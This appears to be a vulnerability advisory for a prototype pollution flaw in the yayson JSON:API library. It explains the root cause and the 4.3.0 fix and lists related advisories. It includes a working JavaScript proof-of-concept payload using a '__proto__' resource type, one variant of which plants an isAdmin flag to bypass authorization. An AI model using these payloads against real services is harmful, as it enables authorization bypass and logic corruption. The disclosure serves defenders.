CVE-2026-61534: yayson Prototype Pollution via JSON:API Type Deserialization
The yayson JSON:API client lets an attacker send a crafted document whose resource type is '__proto__', silently writing arbitrary properties onto every object in the Node.js process.

The problem
yayson's Store and LegacyStore index deserialized resources into plain-object lookup tables keyed by the JSON:API document's type and id fields. Because those tables were plain objects, setting type to '__proto__' made the key resolve to Object.prototype itself.
An attacker who can supply any JSON:API response (or inject an included resource via a relationship) can therefore write attacker-controlled keys and values onto Object.prototype. The pollution persists for the process lifetime and can cause DoS, logic corruption, authorization bypass, or RCE depending on gadgets present in the consuming application.
Proof of concept
A working proof-of-concept for CVE-2026-61534 in yayson, with the exact payload below.
// Send (or inject) this JSON:API document to any endpoint that calls store.sync()
const { Store } = require('yayson')()
const store = new Store()
store.sync({
data: {
type: '__proto__',
id: 'polluted',
attributes: { x: 1 }
}
})
console.log(({}).polluted)
// => { x: 1, id: 'polluted' } -- Object.prototype is now polluted
// Can also arrive via a relationship's included resource,
// bypassing any data.type allowlist:
store.sync({
data: { type: 'article', id: '1', relationships: { author: { data: { type: '__proto__', id: 'isAdmin' } } } },
included: [{ type: '__proto__', id: 'isAdmin', attributes: { isAdmin: true } }]
})The root cause is that models[type] used a plain object as the backing store. When type is '__proto__', the expression models['__proto__'] evaluates to Object.prototype rather than a fresh bucket, so the subsequent assignment models[type][id] = model writes directly onto the global prototype.
The attacker fully controls the polluted key (id) and value (the attributes object merged with id).
The fix in 4.3.0 replaces all internal lookup tables with null-prototype objects (Object.create(null)), rejects '__proto__', 'constructor', and 'prototype' as document-derived member names, switches iteration to Object.keys(), and null-prototype-normalizes any caller-supplied caches.
Null-prototype objects have no __proto__ property, so the assignment path can never reach Object.prototype. CWE-1321.
The fix
Upgrade yayson to 4.3.0 or later. As a short-term workaround, reject any JSON:API document whose type or relationship name equals '__proto__', 'constructor', or 'prototype' before passing it to store.sync(). You can also start Node with --disable-proto=throw to make prototype-chain writes throw instead of silently succeeding.
Related research
- high · 8.2CVE-2026-63376CVE-2026-63376: toml Prototype Pollution via __proto__ Key-Path Desynchronization
- high · 8.3CVE-2026-82404CVE-2026-82404: @toon-format/toon Prototype Pollution via Untrusted Decode
- high · 8.5CVE-2026-73654CVE-2026-73654: @trigger.dev/core Prototype Pollution via Run Metadata Operations
- critical · 9.1CVE-2026-53609CVE-2026-53609: ApostropheCMS Server-Side Prototype Pollution via $pullAll Leading to Authorization Bypass